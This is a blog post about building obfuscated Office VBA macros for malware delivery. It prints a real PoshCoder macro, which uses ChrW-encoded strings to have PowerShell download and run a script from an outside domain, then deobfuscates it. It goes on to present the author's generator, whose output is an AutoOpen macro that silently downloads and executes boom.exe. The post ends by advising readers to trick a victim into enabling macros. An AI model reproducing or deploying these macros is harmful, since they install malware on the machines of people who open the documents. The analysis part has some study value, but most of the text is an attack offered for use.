Lately I have been looking into writing my own VBA macro’s for malware delivery. My goals were simple. I wanted the macro to run a specific command. I have looked at several different places and nothing really seemed to work out of the box like I was expecting so I figured I’d pull a sample or two from the samples that I see at $dayjob to see how they did it. The first place I looked was at one of my favorites families of malware, PoshCoder (VirusTotal). When I checked out the macro, I got the following

Private Sub Document_Open() Dim GhjsxThsjduJgshdjHjsjd As String Dggxethbvrg = "cmd /K " QsgbhGGBBBrfgH = "po" SxgRghnGGBbhH = "weR" OyhbRfgbDFghT = "Sh" + "ell.e" + "x" + "e" efhCfghhtrdHjjydxGHjh = ChrW(32) & ChrW(45) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(83) & ChrW(116) wUUnbdeFXfjhtTGHh = ChrW(121) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(104) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110) WrghbjiytgCXderthGFf = ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111) QrnUTghnnFFgbFFgh = ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66) & ChrW(121) RhnVthjJHgbbCGhG = ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(111) & ChrW(112) & ChrW(114) OujnbFghVDfghbFDFg = ChrW(111) & ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(40) & ChrW(78) & ChrW(101) & ChrW(119) EfgbhGGhhjnFFfghgwsG = ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(83) & ChrW(121) YjnVRthFFGhnDFH = ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(78) & ChrW(101) & ChrW(116) & ChrW(46) & ChrW(87) WddfgHTTHnnvDDGFhnGGh = ChrW(101) & ChrW(98) & ChrW(67) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(41) IUjnBFGhbdFBnVFFgbb = ChrW(46) & ChrW(68) & ChrW(111) & ChrW(119) & ChrW(110) & ChrW(108) & ChrW(111) & ChrW(97) & ChrW(100) & ChrW(70) YjnnGGhbDFbbnbFFGbasdvDFb = ChrW(105) & ChrW(108) & ChrW(101) & ChrW(40) & ChrW(39) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) cxfdHHfdfbbnGFGhbffYhjjk = ChrW(47) & ChrW(47) & ChrW(100) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(116) & ChrW(111) tyfuyfHGHgfggTGhjjjfFG = ChrW(110) & ChrW(108) & ChrW(97) & ChrW(119) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(102) GFDFdfGHhjjGFGFGHHH = ChrW(46) & ChrW(112) & ChrW(104) & ChrW(112) & ChrW(39) & ChrW(44) & ChrW(39) & ChrW(37) & ChrW(84) & ChrW(69) tghFghbvffDfhHHGfvFFGhg = ChrW(77) & ChrW(80) & ChrW(37) & ChrW(92) & ChrW(52) & ChrW(55) & ChrW(56) & ChrW(54) & ChrW(51) & ChrW(52) yhGGdfbGbnojGFGnvfF = ChrW(54) & ChrW(55) & ChrW(46) & ChrW(112) & ChrW(115) & ChrW(49) agPolknZdgnnGFGHh = ChrW(41) & ChrW(59) & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(83) & ChrW(104) & ChrW(101) ysghgFFGHwfh = ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(87) & ChrW(105) HjjnFGHjserfgvvgGFFGhwef = ChrW(110) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(83) & ChrW(116) & ChrW(121) & ChrW(108) & ChrW(101) & ChrW(32) iHHbbwgGGHhnfREfgbWSf = ChrW(104) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) qdikmYHbbfEFGHvff = ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108) FDGHHFDRTGPOYHNBF = ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66) & ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) SfhjCVrhnnGGHNvdsdhTGH = ChrW(32) & ChrW(45) & ChrW(110) & ChrW(111) & ChrW(112) & ChrW(114) & ChrW(111) & ChrW(102) & ChrW(105) & ChrW(108) fhThnsdfgWdghJUhnFFh = ChrW(101) yjnDfghnWfghRTHHNJasdgFGH = ChrW(32) & ChrW(45) & ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(37) & ChrW(84) & ChrW(69) ujnGnncghWfhhRThhHHJJJJJ = ChrW(77) & ChrW(80) & ChrW(37) & ChrW(92) & ChrW(52) & ChrW(55) & ChrW(56) & ChrW(54) & ChrW(51) & ChrW(52) yhbxswghjDFhhThjnDFghasghR = ChrW(54) & ChrW(55) & ChrW(46) & ChrW(112) & ChrW(115) & ChrW(49) QsfgHHnnRThbSfgbT = efhCfghhtrdHjjydxGHjh + wUUnbdeFXfjhtTGHh + WrghbjiytgCXderthGFf + QrnUTghnnFFgbFFgh + RhnVthjJHgbbCGhG + OujnbFghVDfghbFDFg + EfgbhGGhhjnFFfghgwsG + YjnVRthFFGhnDFH + WddfgHTTHnnvDDGFhnGGh + IUjnBFGhbdFBnVFFgbb + YjnnGGhbDFbbnbFFGbasdvDFb + cxfdHHfdfbbnGFGhbffYhjjk + tyfuyfHGHgfggTGhjjjfFG + GFDFdfGHhjjGFGFGHHH + tghFghbvffDfhHHGfvFFGhg + yhGGdfbGbnojGFGnvfF + agPolknZdgnnGFGHh + ysghgFFGHwfh + HjjnFGHjserfgvvgGFFGhwef + iHHbbwgGGHhnfREfgbWSf + qdikmYHbbfEFGHvff + FDGHHFDRTGPOYHNBF + SfhjCVrhnnGGHNvdsdhTGH + fhThnsdfgWdghJUhnFFh + yjnDfghnWfghRTHHNJasdgFGH + ujnGnncghWfhhRThhHHJJJJJ + yhbxswghjDFhhThjnDFghasghR GhjsxThsjduJgshdjHjsjd = Dggxethbvrg + QsgbhGGBBBrfgH + SxgRghnGGBbhH + OyhbRfgbDFghT + QsfgHHnnRThbSfgbT Shell GhjsxThsjduJgshdjHjsjd, 0 MsgBox ("Required rescource could not be allocated") TghhshcHHjh = 62 * 28 End Sub

The first couple of variables are pretty self explanatory on what they are trying to do, running “cmd \k poweRShell.exe” but the rest was fairly unintelligible. After some quick work in VIM and python, I was able to deobfuscate a lot of the macro and was able to turn it into something readable.

Private Sub Document_Open() Dim GhjsxThsjduJgshdjHjsjd As String Dggxethbvrg = "cmd /K " QsgbhGGBBBrfgH = "po" SxgRghnGGBbhH = "weR" OyhbRfgbDFghT = "Shell.exe" efhCfghhtrdHjjydxGHjh = " -WindowSt" wUUnbdeFXfjhtTGHh = "yle hidden" WrghbjiytgCXderthGFf = " -Executio" QrnUTghnnFFgbFFgh = "nPolicy By" RhnVthjJHgbbCGhG = "pass -nopr" OujnbFghVDfghbFDFg = "ofile (New" EfgbhGGhhjnFFfghgwsG = "-Object Sy" YjnVRthFFGhnDFH = "stem.Net.W" WddfgHTTHnnvDDGFhnGGh = "ebClient)" IUjnBFGhbdFBnVFFgbb = ".DownloadF" YjnnGGhbDFbbnbFFGbasdvDFb = "ile('http:" cxfdHHfdfbbnGFGhbffYhjjk = "//drshelto" tyfuyfHGHgfggTGhjjjfFG = "nlaw.com/f" GFDFdfGHhjjGFGFGHHH = ".php','%TE" tghFghbvffDfhHHGfvFFGhg = "MP%\478634" yhGGdfbGbnojGFGnvfF = "67.ps1" agPolknZdgnnGFGHh = ");powerShe" ysghgFFGHwfh = "ll.exe -Wi" HjjnFGHjserfgvvgGFFGhwef = "ndowStyle " iHHbbwgGGHhnfREfgbWSf = "hidden -Ex" qdikmYHbbfEFGHvff = "ecutionPol" FDGHHFDRTGPOYHNBF = "icy Bypass" SfhjCVrhnnGGHNvdsdhTGH = " -noprofil" fhThnsdfgWdghJUhnFFh = "e" yjnDfghnWfghRTHHNJasdgFGH = " -file %TE" ujnGnncghWfhhRThhHHJJJJJ = "MP%\478634" yhbxswghjDFhhThjnDFghasghR = "67.ps1" QsfgHHnnRThbSfgbT = efhCfghhtrdHjjydxGHjh + wUUnbdeFXfjhtTGHh + WrghbjiytgCXderthGFf + QrnUTghnnFFgbFFgh + RhnVthjJHgbbCGhG + OujnbFghVDfghbFDFg + EfgbhGGhhjnFFfghgwsG + YjnVRthFFGhnDFH + WddfgHTTHnnvDDGFhnGGh + IUjnBFGhbdFBnVFFgbb + YjnnGGhbDFbbnbFFGbasdvDFb + cxfdHHfdfbbnGFGhbffYhjjk + tyfuyfHGHgfggTGhjjjfFG + GFDFdfGHhjjGFGFGHHH + tghFghbvffDfhHHGfvFFGhg + yhGGdfbGbnojGFGnvfF + agPolknZdgnnGFGHh + ysghgFFGHwfh + HjjnFGHjserfgvvgGFFGhwef + iHHbbwgGGHhnfREfgbWSf + qdikmYHbbfEFGHvff + FDGHHFDRTGPOYHNBF + SfhjCVrhnnGGHNvdsdhTGH + fhThnsdfgWdghJUhnFFh + yjnDfghnWfghRTHHNJasdgFGH + ujnGnncghWfhhRThhHHJJJJJ + yhbxswghjDFhhThjnDFghasghR GhjsxThsjduJgshdjHjsjd = Dggxethbvrg + QsgbhGGBBBrfgH + SxgRghnGGBbhH + OyhbRfgbDFghT + QsfgHHnnRThbSfgbT Shell GhjsxThsjduJgshdjHjsjd, 0 MsgBox ("Required rescource could not be allocated") TghhshcHHjh = 62 * 28 End Sub

Now we can see that it is basically just splitting a single command into tons if different randomly generated variables and then combining all of them together into the variable “GhjsxThsjduJgshdjHjsjd” and executing that command with the line “Shell GhjsxThsjduJgshdjHjsjd, 0”. After it spawns cmd and starts executing all of the powershell commands, it then pops up a message box talking about resource allocation errors, and then lastly does some math. Still, I am not sure what the purpose of “TghhshcHHjh = 62 * 28” is except to potentially throw off investigators that will not go any further than just “Welp, guess its doing some kind of math. Shut case, Watson!”

¯\_(ツ)_/¯

In order to emulate this macro style, I decided to write my own script that will generate this macro for me and can be found at https://github.com/metac0rtex/Office-Macro-Generator. It works pretty simply. All you have to do is edit the “cmd” variable at the top of the script, save, and run. Here is what it looks like for a command that uses powershell to download an executable and then run that executable.

$ ./macro_create.py Converting this command to VBA Macro: cmd /K powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('https://metac0rtex.com/malware/boom.exe','%TEMP%\boom.exe');powerShell.exe -WindowStyle hidden -ExecutionPolicy Bypass -noprofile Start-Process -FilePath '%TEMP%\boom.exe' Macro: Public Sub AutoOpen() Dim cmd As String QlEbi = ChrW(99) & ChrW(109) & ChrW(100) & ChrW(32) & ChrW(47) & ChrW(75) & ChrW(32) & ChrW(112) & ChrW(111) & ChrW(119) EzUlC = ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) UcsQi = ChrW(101) & ChrW(32) & ChrW(45) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(83) ruMtX = ChrW(116) & ChrW(121) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(104) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) cYbAV = ChrW(110) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) gSzTn = ChrW(111) & ChrW(110) & ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66) XMPaT = ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(111) & ChrW(112) Ttzgl = ChrW(114) & ChrW(111) & ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(40) & ChrW(78) & ChrW(101) KTUrB = ChrW(119) & ChrW(45) & ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(83) nxpdB = ChrW(121) & ChrW(115) & ChrW(116) & ChrW(101) & ChrW(109) & ChrW(46) & ChrW(78) & ChrW(101) & ChrW(116) & ChrW(46) fxGbk = ChrW(87) & ChrW(101) & ChrW(98) & ChrW(67) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116) & ChrW(41) QbaQu = ChrW(46) & ChrW(68) & ChrW(111) & ChrW(119) & ChrW(110) & ChrW(108) & ChrW(111) & ChrW(97) & ChrW(100) & ChrW(70) mfjCp = ChrW(105) & ChrW(108) & ChrW(101) & ChrW(40) & ChrW(39) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(115) bNYHb = ChrW(58) & ChrW(47) & ChrW(47) & ChrW(109) & ChrW(101) & ChrW(116) & ChrW(97) & ChrW(99) & ChrW(48) & ChrW(114) rKNZW = ChrW(116) & ChrW(101) & ChrW(120) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(109) & ChrW(97) OobQL = ChrW(108) & ChrW(119) & ChrW(97) & ChrW(114) & ChrW(101) & ChrW(47) & ChrW(98) & ChrW(111) & ChrW(111) & ChrW(109) CQnzT = ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(39) & ChrW(44) & ChrW(39) & ChrW(37) & ChrW(84) & ChrW(69) FSZVL = ChrW(77) & ChrW(80) & ChrW(37) & ChrW(92) & ChrW(98) & ChrW(111) & ChrW(111) & ChrW(109) & ChrW(46) & ChrW(101) MHwMC = ChrW(120) & ChrW(101) & ChrW(39) & ChrW(41) & ChrW(59) & ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) uVzxB = ChrW(83) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) ZInFM = ChrW(45) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(83) & ChrW(116) & ChrW(121) ZTRoJ = ChrW(108) & ChrW(101) & ChrW(32) & ChrW(104) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110) & ChrW(32) eOptC = ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(117) & ChrW(116) & ChrW(105) & ChrW(111) & ChrW(110) oKpDu = ChrW(80) & ChrW(111) & ChrW(108) & ChrW(105) & ChrW(99) & ChrW(121) & ChrW(32) & ChrW(66) & ChrW(121) & ChrW(112) xyEBZ = ChrW(97) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) & ChrW(110) & ChrW(111) & ChrW(112) & ChrW(114) & ChrW(111) rPCeA = ChrW(102) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(32) & ChrW(83) & ChrW(116) & ChrW(97) & ChrW(114) & ChrW(116) GTLkv = ChrW(45) & ChrW(80) & ChrW(114) & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) YLQSd = ChrW(70) & ChrW(105) & ChrW(108) & ChrW(101) & ChrW(80) & ChrW(97) & ChrW(116) & ChrW(104) & ChrW(32) & ChrW(39) KLfiC = ChrW(37) & ChrW(84) & ChrW(69) & ChrW(77) & ChrW(80) & ChrW(37) & ChrW(92) & ChrW(98) & ChrW(111) & ChrW(111) amqWg = ChrW(109) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(39) cmd = QlEbi & EzUlC & UcsQi & ruMtX & cYbAV & gSzTn & XMPaT & Ttzgl & KTUrB & nxpdB & fxGbk & QbaQu & mfjCp & bNYHb & rKNZW & OobQL & CQnzT & FSZVL & MHwMC & uVzxB & ZInFM & ZTRoJ & eOptC & oKpDu & xyEBZ & rPCeA & GTLkv & YLQSd & KLfiC & amqWg Dim Obj as Object Set Obj = CreateObject("WScript.Shell") Obj.Run cmd, 0 MsgBox ("Required rescource could not be allocated") End Sub

Pretty neat and it works pretty well. Once you paste that macro into the Office VBA editor and save it, next time you open the document and get a victem to enable the macro (with your favorite SE teqnique) then it will automatically download the executable and execute it. Hurra!